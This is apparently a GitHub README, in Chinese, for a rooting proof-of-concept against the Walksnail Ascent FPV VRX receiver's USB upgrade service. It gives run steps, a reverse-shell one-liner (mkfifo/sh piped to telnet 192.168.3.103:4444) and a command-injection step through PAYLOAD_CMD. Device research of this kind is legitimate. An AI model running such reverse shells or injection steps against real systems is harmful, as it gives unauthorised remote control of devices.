umeow0716/Walksnail-Ascent-FPV-VRX-Rooting-Exploit
GitHub: umeow0716/Walksnail-Ascent-FPV-VRX-Rooting-Exploit
针对Walksnail Ascent FPV VRX设备USB升级服务RCE漏洞的PoC与逆向分析笔记。
Stars: 0 | Forks: 0
# Walksnail-Ascent-FPV-VRX 提权漏洞
重要提示:操作系统必须为 **Windows**(主机 IP:192.168.3.103)
并在 `exploit.py` 的第 17 行修改 COM 编号
```
python3 -m pip install pyserial
python3 exploit.py
```
你可以在 `/factory/take_shell` 中写入命令
```
mkfifo /tmp/f; cat /tmp/f | tr -d '\r' | /bin/sh -i 2>&1 | telnet 192.168.3.103 4444 > /tmp/f
```
然后
```
$ sync
```
然后在下次修改 `exploit.sh` 中的 PAYLOAD_CMD 为 `cat /factory/take_shell | sh`
[漏洞详情](https://hackmd.io/@umeow0716/ryu63HDeGg)
如果你想[提取固件](https://github.com/umeow0716/extract-ascent-otra)
标签:Aarch64, FPV, Go语言工具, pyserial, Python, Telnet, USB升级服务, VRX, Walksnail Ascent, Windows主机, 云资产清单, 命令注入, 固件提取, 嵌入式系统, 应用安全, 无后门, 编程工具, 远程代码执行, 逆向工具, 逆向工程